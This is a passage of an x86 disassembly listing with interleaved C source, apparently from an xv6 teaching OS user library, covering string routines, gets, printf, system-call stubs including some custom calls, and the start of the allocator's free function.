163: c3 ret
164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000170 <strcmp>:
int
strcmp(const char *p, const char *q)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 56 push %esi
174: 53 push %ebx
175: 8b 55 08 mov 0x8(%ebp),%edx
178: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
17b: 0f b6 02 movzbl (%edx),%eax
17e: 0f b6 19 movzbl (%ecx),%ebx
181: 84 c0 test %al,%al
183: 75 1e jne 1a3 <strcmp+0x33>
185: eb 29 jmp 1b0 <strcmp+0x40>
187: 89 f6 mov %esi,%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
190: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
193: 0f b6 02 movzbl (%edx),%eax
p++, q++;
196: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
199: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
19d: 84 c0 test %al,%al
19f: 74 0f je 1b0 <strcmp+0x40>
1a1: 89 f1 mov %esi,%ecx
1a3: 38 d8 cmp %bl,%al
1a5: 74 e9 je 190 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
1a7: 29 d8 sub %ebx,%eax
}
1a9: 5b pop %ebx
1aa: 5e pop %esi
1ab: 5d pop %ebp
1ac: c3 ret
1ad: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1b0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
1b2: 29 d8 sub %ebx,%eax
}
1b4: 5b pop %ebx
1b5: 5e pop %esi
1b6: 5d pop %ebp
1b7: c3 ret
1b8: 90 nop
1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001c0 <strlen>:
uint
strlen(const char *s)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1c6: 80 39 00 cmpb $0x0,(%ecx)
1c9: 74 12 je 1dd <strlen+0x1d>
1cb: 31 d2 xor %edx,%edx
1cd: 8d 76 00 lea 0x0(%esi),%esi
1d0: 83 c2 01 add $0x1,%edx
1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1d7: 89 d0 mov %edx,%eax
1d9: 75 f5 jne 1d0 <strlen+0x10>
;
return n;
}
1db: 5d pop %ebp
1dc: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
1dd: 31 c0 xor %eax,%eax
;
return n;
}
1df: 5d pop %ebp
1e0: c3 ret
1e1: eb 0d jmp 1f0 <memset>
1e3: 90 nop
1e4: 90 nop
1e5: 90 nop
1e6: 90 nop
1e7: 90 nop
1e8: 90 nop
1e9: 90 nop
1ea: 90 nop
1eb: 90 nop
1ec: 90 nop
1ed: 90 nop
1ee: 90 nop
1ef: 90 nop
000001f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1f7: 8b 4d 10 mov 0x10(%ebp),%ecx
1fa: 8b 45 0c mov 0xc(%ebp),%eax
1fd: 89 d7 mov %edx,%edi
1ff: fc cld
200: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
202: 89 d0 mov %edx,%eax
204: 5f pop %edi
205: 5d pop %ebp
206: c3 ret
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <strchr>:
char*
strchr(const char *s, char c)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 45 08 mov 0x8(%ebp),%eax
217: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
21a: 0f b6 10 movzbl (%eax),%edx
21d: 84 d2 test %dl,%dl
21f: 74 1d je 23e <strchr+0x2e>
if(*s == c)
221: 38 d3 cmp %dl,%bl
223: 89 d9 mov %ebx,%ecx
225: 75 0d jne 234 <strchr+0x24>
227: eb 17 jmp 240 <strchr+0x30>
229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
230: 38 ca cmp %cl,%dl
232: 74 0c je 240 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
234: 83 c0 01 add $0x1,%eax
237: 0f b6 10 movzbl (%eax),%edx
23a: 84 d2 test %dl,%dl
23c: 75 f2 jne 230 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
23e: 31 c0 xor %eax,%eax
}
240: 5b pop %ebx
241: 5d pop %ebp
242: c3 ret
243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <gets>:
char*
gets(char *buf, int max)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 57 push %edi
254: 56 push %esi
255: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
256: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
258: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
25b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
25e: eb 29 jmp 289 <gets+0x39>
cc = read(0, &c, 1);
260: 83 ec 04 sub $0x4,%esp
263: 6a 01 push $0x1
265: 57 push %edi
266: 6a 00 push $0x0
268: e8 2d 01 00 00 call 39a <read>
if(cc < 1)
26d: 83 c4 10 add $0x10,%esp
270: 85 c0 test %eax,%eax
272: 7e 1d jle 291 <gets+0x41>
break;
buf[i++] = c;
274: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
278: 8b 55 08 mov 0x8(%ebp),%edx
27b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
27d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
27f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
283: 74 1b je 2a0 <gets+0x50>
285: 3c 0d cmp $0xd,%al
287: 74 17 je 2a0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
289: 8d 5e 01 lea 0x1(%esi),%ebx
28c: 3b 5d 0c cmp 0xc(%ebp),%ebx
28f: 7c cf jl 260 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
291: 8b 45 08 mov 0x8(%ebp),%eax
294: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
298: 8d 65 f4 lea -0xc(%ebp),%esp
29b: 5b pop %ebx
29c: 5e pop %esi
29d: 5f pop %edi
29e: 5d pop %ebp
29f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2a0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2a3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2a5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
2a9: 8d 65 f4 lea -0xc(%ebp),%esp
2ac: 5b pop %ebx
2ad: 5e pop %esi
2ae: 5f pop %edi
2af: 5d pop %ebp
2b0: c3 ret
2b1: eb 0d jmp 2c0 <stat>
2b3: 90 nop
2b4: 90 nop
2b5: 90 nop
2b6: 90 nop
2b7: 90 nop
2b8: 90 nop
2b9: 90 nop
2ba: 90 nop
2bb: 90 nop
2bc: 90 nop
2bd: 90 nop
2be: 90 nop
2bf: 90 nop
000002c0 <stat>:
int
stat(const char *n, struct stat *st)
{
2c0: 55 push %ebp
2c1: 89 e5 mov %esp,%ebp
2c3: 56 push %esi
2c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2c5: 83 ec 08 sub $0x8,%esp
2c8: 6a 00 push $0x0
2ca: ff 75 08 pushl 0x8(%ebp)
2cd: e8 f0 00 00 00 call 3c2 <open>
if(fd < 0)
2d2: 83 c4 10 add $0x10,%esp
2d5: 85 c0 test %eax,%eax
2d7: 78 27 js 300 <stat+0x40>
return -1;
r = fstat(fd, st);
2d9: 83 ec 08 sub $0x8,%esp
2dc: ff 75 0c pushl 0xc(%ebp)
2df: 89 c3 mov %eax,%ebx
2e1: 50 push %eax
2e2: e8 f3 00 00 00 call 3da <fstat>
2e7: 89 c6 mov %eax,%esi
close(fd);
2e9: 89 1c 24 mov %ebx,(%esp)
2ec: e8 b9 00 00 00 call 3aa <close>
return r;
2f1: 83 c4 10 add $0x10,%esp
2f4: 89 f0 mov %esi,%eax
}
2f6: 8d 65 f8 lea -0x8(%ebp),%esp
2f9: 5b pop %ebx
2fa: 5e pop %esi
2fb: 5d pop %ebp
2fc: c3 ret
2fd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
300: b8 ff ff ff ff mov $0xffffffff,%eax
305: eb ef jmp 2f6 <stat+0x36>
307: 89 f6 mov %esi,%esi
309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000310 <atoi>:
return r;
}
int
atoi(const char *s)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 53 push %ebx
314: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
317: 0f be 11 movsbl (%ecx),%edx
31a: 8d 42 d0 lea -0x30(%edx),%eax
31d: 3c 09 cmp $0x9,%al
31f: b8 00 00 00 00 mov $0x0,%eax
324: 77 1f ja 345 <atoi+0x35>
326: 8d 76 00 lea 0x0(%esi),%esi
329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
330: 8d 04 80 lea (%eax,%eax,4),%eax
333: 83 c1 01 add $0x1,%ecx
336: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
33a: 0f be 11 movsbl (%ecx),%edx
33d: 8d 5a d0 lea -0x30(%edx),%ebx
340: 80 fb 09 cmp $0x9,%bl
343: 76 eb jbe 330 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
345: 5b pop %ebx
346: 5d pop %ebp
347: c3 ret
348: 90 nop
349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000350 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 56 push %esi
354: 53 push %ebx
355: 8b 5d 10 mov 0x10(%ebp),%ebx
358: 8b 45 08 mov 0x8(%ebp),%eax
35b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
35e: 85 db test %ebx,%ebx
360: 7e 14 jle 376 <memmove+0x26>
362: 31 d2 xor %edx,%edx
364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
368: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
36c: 88 0c 10 mov %cl,(%eax,%edx,1)
36f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
372: 39 da cmp %ebx,%edx
374: 75 f2 jne 368 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
376: 5b pop %ebx
377: 5e pop %esi
378: 5d pop %ebp
379: c3 ret
0000037a <fork>:
37a: b8 01 00 00 00 mov $0x1,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <exit>:
382: b8 02 00 00 00 mov $0x2,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <wait>:
38a: b8 03 00 00 00 mov $0x3,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <pipe>:
392: b8 04 00 00 00 mov $0x4,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <read>:
39a: b8 05 00 00 00 mov $0x5,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <write>:
3a2: b8 10 00 00 00 mov $0x10,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <close>:
3aa: b8 15 00 00 00 mov $0x15,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <kill>:
3b2: b8 06 00 00 00 mov $0x6,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <exec>:
3ba: b8 07 00 00 00 mov $0x7,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <open>:
3c2: b8 0f 00 00 00 mov $0xf,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <mknod>:
3ca: b8 11 00 00 00 mov $0x11,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <unlink>:
3d2: b8 12 00 00 00 mov $0x12,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <fstat>:
3da: b8 08 00 00 00 mov $0x8,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <link>:
3e2: b8 13 00 00 00 mov $0x13,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <mkdir>:
3ea: b8 14 00 00 00 mov $0x14,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <chdir>:
3f2: b8 09 00 00 00 mov $0x9,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <dup>:
3fa: b8 0a 00 00 00 mov $0xa,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <getpid>:
402: b8 0b 00 00 00 mov $0xb,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <sbrk>:
40a: b8 0c 00 00 00 mov $0xc,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <sleep>:
412: b8 0d 00 00 00 mov $0xd,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <uptime>:
41a: b8 0e 00 00 00 mov $0xe,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <incNum>:
422: b8 16 00 00 00 mov $0x16,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <getprocs>:
42a: b8 17 00 00 00 mov $0x17,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <printstack>:
432: b8 18 00 00 00 mov $0x18,%eax
437: cd 40 int $0x40
439: c3 ret
43a: 66 90 xchg %ax,%ax
43c: 66 90 xchg %ax,%ax
43e: 66 90 xchg %ax,%ax
00000440 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
445: 53 push %ebx
446: 89 c6 mov %eax,%esi
448: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
44b: 8b 5d 08 mov 0x8(%ebp),%ebx
44e: 85 db test %ebx,%ebx
450: 74 7e je 4d0 <printint+0x90>
452: 89 d0 mov %edx,%eax
454: c1 e8 1f shr $0x1f,%eax
457: 84 c0 test %al,%al
459: 74 75 je 4d0 <printint+0x90>
neg = 1;
x = -xx;
45b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
45d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
464: f7 d8 neg %eax
466: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
469: 31 ff xor %edi,%edi
46b: 8d 5d d7 lea -0x29(%ebp),%ebx
46e: 89 ce mov %ecx,%esi
470: eb 08 jmp 47a <printint+0x3a>
472: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
478: 89 cf mov %ecx,%edi
47a: 31 d2 xor %edx,%edx
47c: 8d 4f 01 lea 0x1(%edi),%ecx
47f: f7 f6 div %esi
481: 0f b6 92 2c 08 00 00 movzbl 0x82c(%edx),%edx
}while((x /= base) != 0);
488: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
48a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
48d: 75 e9 jne 478 <printint+0x38>
if(neg)
48f: 8b 45 c4 mov -0x3c(%ebp),%eax
492: 8b 75 c0 mov -0x40(%ebp),%esi
495: 85 c0 test %eax,%eax
497: 74 08 je 4a1 <printint+0x61>
buf[i++] = '-';
499: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
49e: 8d 4f 02 lea 0x2(%edi),%ecx
4a1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
4a5: 8d 76 00 lea 0x0(%esi),%esi
4a8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ab: 83 ec 04 sub $0x4,%esp
4ae: 83 ef 01 sub $0x1,%edi
4b1: 6a 01 push $0x1
4b3: 53 push %ebx
4b4: 56 push %esi
4b5: 88 45 d7 mov %al,-0x29(%ebp)
4b8: e8 e5 fe ff ff call 3a2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4bd: 83 c4 10 add $0x10,%esp
4c0: 39 df cmp %ebx,%edi
4c2: 75 e4 jne 4a8 <printint+0x68>
putc(fd, buf[i]);
}
4c4: 8d 65 f4 lea -0xc(%ebp),%esp
4c7: 5b pop %ebx
4c8: 5e pop %esi
4c9: 5f pop %edi
4ca: 5d pop %ebp
4cb: c3 ret
4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
4d0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4d2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4d9: eb 8b jmp 466 <printint+0x26>
4db: 90 nop
4dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004e0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4e0: 55 push %ebp
4e1: 89 e5 mov %esp,%ebp
4e3: 57 push %edi
4e4: 56 push %esi
4e5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4e6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4e9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4ec: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4ef: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4f2: 89 45 d0 mov %eax,-0x30(%ebp)
4f5: 0f b6 1e movzbl (%esi),%ebx
4f8: 83 c6 01 add $0x1,%esi
4fb: 84 db test %bl,%bl
4fd: 0f 84 b0 00 00 00 je 5b3 <printf+0xd3>
503: 31 d2 xor %edx,%edx
505: eb 39 jmp 540 <printf+0x60>
507: 89 f6 mov %esi,%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
510: 83 f8 25 cmp $0x25,%eax
513: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
516: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
51b: 74 18 je 535 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
51d: 8d 45 e2 lea -0x1e(%ebp),%eax
520: 83 ec 04 sub $0x4,%esp
523: 88 5d e2 mov %bl,-0x1e(%ebp)
526: 6a 01 push $0x1
528: 50 push %eax
529: 57 push %edi
52a: e8 73 fe ff ff call 3a2 <write>
52f: 8b 55 d4 mov -0x2c(%ebp),%edx
532: 83 c4 10 add $0x10,%esp
535: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
538: 0f b6 5e ff movzbl -0x1(%esi),%ebx
53c: 84 db test %bl,%bl
53e: 74 73 je 5b3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
540: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
542: 0f be cb movsbl %bl,%ecx
545: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
548: 74 c6 je 510 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
54a: 83 fa 25 cmp $0x25,%edx
54d: 75 e6 jne 535 <printf+0x55>
if(c == 'd'){
54f: 83 f8 64 cmp $0x64,%eax
552: 0f 84 f8 00 00 00 je 650 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
558: 81 e1 f7 00 00 00 and $0xf7,%ecx
55e: 83 f9 70 cmp $0x70,%ecx
561: 74 5d je 5c0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
563: 83 f8 73 cmp $0x73,%eax
566: 0f 84 84 00 00 00 je 5f0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
56c: 83 f8 63 cmp $0x63,%eax
56f: 0f 84 ea 00 00 00 je 65f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
575: 83 f8 25 cmp $0x25,%eax
578: 0f 84 c2 00 00 00 je 640 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
57e: 8d 45 e7 lea -0x19(%ebp),%eax
581: 83 ec 04 sub $0x4,%esp
584: c6 45 e7 25 movb $0x25,-0x19(%ebp)
588: 6a 01 push $0x1
58a: 50 push %eax
58b: 57 push %edi
58c: e8 11 fe ff ff call 3a2 <write>
591: 83 c4 0c add $0xc,%esp
594: 8d 45 e6 lea -0x1a(%ebp),%eax
597: 88 5d e6 mov %bl,-0x1a(%ebp)
59a: 6a 01 push $0x1
59c: 50 push %eax
59d: 57 push %edi
59e: 83 c6 01 add $0x1,%esi
5a1: e8 fc fd ff ff call 3a2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5a6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5aa: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5ad: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5af: 84 db test %bl,%bl
5b1: 75 8d jne 540 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
5b3: 8d 65 f4 lea -0xc(%ebp),%esp
5b6: 5b pop %ebx
5b7: 5e pop %esi
5b8: 5f pop %edi
5b9: 5d pop %ebp
5ba: c3 ret
5bb: 90 nop
5bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
5c0: 83 ec 0c sub $0xc,%esp
5c3: b9 10 00 00 00 mov $0x10,%ecx
5c8: 6a 00 push $0x0
5ca: 8b 5d d0 mov -0x30(%ebp),%ebx
5cd: 89 f8 mov %edi,%eax
5cf: 8b 13 mov (%ebx),%edx
5d1: e8 6a fe ff ff call 440 <printint>
ap++;
5d6: 89 d8 mov %ebx,%eax
5d8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5db: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
5dd: 83 c0 04 add $0x4,%eax
5e0: 89 45 d0 mov %eax,-0x30(%ebp)
5e3: e9 4d ff ff ff jmp 535 <printf+0x55>
5e8: 90 nop
5e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
5f0: 8b 45 d0 mov -0x30(%ebp),%eax
5f3: 8b 18 mov (%eax),%ebx
ap++;
5f5: 83 c0 04 add $0x4,%eax
5f8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
5fb: b8 23 08 00 00 mov $0x823,%eax
600: 85 db test %ebx,%ebx
602: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
605: 0f b6 03 movzbl (%ebx),%eax
608: 84 c0 test %al,%al
60a: 74 23 je 62f <printf+0x14f>
60c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
610: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
613: 8d 45 e3 lea -0x1d(%ebp),%eax
616: 83 ec 04 sub $0x4,%esp
619: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
61b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
61e: 50 push %eax
61f: 57 push %edi
620: e8 7d fd ff ff call 3a2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
625: 0f b6 03 movzbl (%ebx),%eax
628: 83 c4 10 add $0x10,%esp
62b: 84 c0 test %al,%al
62d: 75 e1 jne 610 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
62f: 31 d2 xor %edx,%edx
631: e9 ff fe ff ff jmp 535 <printf+0x55>
636: 8d 76 00 lea 0x0(%esi),%esi
639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
640: 83 ec 04 sub $0x4,%esp
643: 88 5d e5 mov %bl,-0x1b(%ebp)
646: 8d 45 e5 lea -0x1b(%ebp),%eax
649: 6a 01 push $0x1
64b: e9 4c ff ff ff jmp 59c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
650: 83 ec 0c sub $0xc,%esp
653: b9 0a 00 00 00 mov $0xa,%ecx
658: 6a 01 push $0x1
65a: e9 6b ff ff ff jmp 5ca <printf+0xea>
65f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
662: 83 ec 04 sub $0x4,%esp
665: 8b 03 mov (%ebx),%eax
667: 6a 01 push $0x1
669: 88 45 e4 mov %al,-0x1c(%ebp)
66c: 8d 45 e4 lea -0x1c(%ebp),%eax
66f: 50 push %eax
670: 57 push %edi
671: e8 2c fd ff ff call 3a2 <write>
676: e9 5b ff ff ff jmp 5d6 <printf+0xf6>
67b: 66 90 xchg %ax,%ax
67d: 66 90 xchg %ax,%ax
67f: 90 nop
00000680 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
680: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
681: a1 d0 0a 00 00 mov 0xad0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
686: 89 e5 mov %esp,%ebp
688: 57 push %edi
689: 56 push %esi
68a: 53 push %ebx
68b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
68e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
690: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
693: 39 c8 cmp %ecx,%eax
695: 73 19 jae 6b0 <free+0x30>
697: 89 f6 mov %esi,%esi
699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
6a0: 39 d1 cmp %edx,%ecx
6a2: 72 1c jb 6c0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6a4: 39 d0 cmp %edx,%eax
6a6: 73 18 jae 6c0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
